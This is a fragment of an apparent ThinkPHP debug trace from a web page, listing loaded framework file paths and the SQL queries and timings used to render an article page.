  121. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/JoinAndViewQuery.php ( 7.11 KB )
  122. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/TableFieldInfo.php ( 2.63 KB )
  123. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/Transaction.php ( 2.77 KB )
  124. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/log/driver/File.php ( 5.96 KB )
  125. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/contract/LogHandlerInterface.php ( 0.86 KB )
  126. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/log/Channel.php ( 3.89 KB )
  127. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/event/LogRecord.php ( 1.02 KB )
  128. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-helper/src/Collection.php ( 16.47 KB )
  129. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/facade/View.php ( 1.70 KB )
  130. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/View.php ( 4.39 KB )
  131. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Response.php ( 8.81 KB )
  132. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/response/View.php ( 3.29 KB )
  133. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Cookie.php ( 6.06 KB )
  134. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-view/src/Think.php ( 8.38 KB )
  135. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/contract/TemplateHandlerInterface.php ( 1.60 KB )
  136. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-template/src/Template.php ( 46.61 KB )
  137. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-template/src/template/driver/File.php ( 2.41 KB )
  138. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-template/src/template/contract/DriverInterface.php ( 0.86 KB )
  139. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/runtime/temp/067d451b9a0c665040f3f1bdd3293d68.php ( 11.98 KB )
  140. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-trace/src/Html.php ( 4.42 KB )
  1. CONNECT:[ UseTime:0.000659s ] mysql:host=127.0.0.1;port=3306;dbname=f_mffb;charset=utf8mb4
  2. SHOW FULL COLUMNS FROM `fenlei` [ RunTime:0.000771s ]
  3. SELECT * FROM `fenlei` WHERE `fid` = 0 [ RunTime:0.049654s ]
  4. SELECT * FROM `fenlei` WHERE `fid` = 63 [ RunTime:0.000335s ]
  5. SHOW FULL COLUMNS FROM `set` [ RunTime:0.000777s ]
  6. SELECT * FROM `set` [ RunTime:0.000287s ]
  7. SHOW FULL COLUMNS FROM `article` [ RunTime:0.000753s ]
  8. SELECT * FROM `article` WHERE `id` = 488431 LIMIT 1 [ RunTime:0.024237s ]
  9. UPDATE `article` SET `lasttime` = 1783123950 WHERE `id` = 488431 [ RunTime:0.010679s ]
  10. SELECT * FROM `fenlei` WHERE `id` = 66 LIMIT 1 [ RunTime:0.000401s ]
  11. SELECT * FROM `article` WHERE `id` < 488431 ORDER BY `id` DESC LIMIT 1 [ RunTime:0.001584s ]
  12. SELECT * FROM `article` WHERE `id` > 488431 ORDER BY `id` ASC LIMIT 1 [ RunTime:0.032974s ]
  13. SELECT * FROM `article` WHERE `id` < 488431 ORDER BY `id` DESC LIMIT 10 [ RunTime:0.005760s ]
  14. SELECT * FROM `article` WHERE `id` < 488431 ORDER BY `id` DESC LIMIT 10,10 [ RunTime:0.006079s ]
  15. SELECT * FROM `article` WHERE `id` < 488431 ORDER BY `id` DESC LIMIT 20,10 [ RunTime:0.049134s ]
0.266813s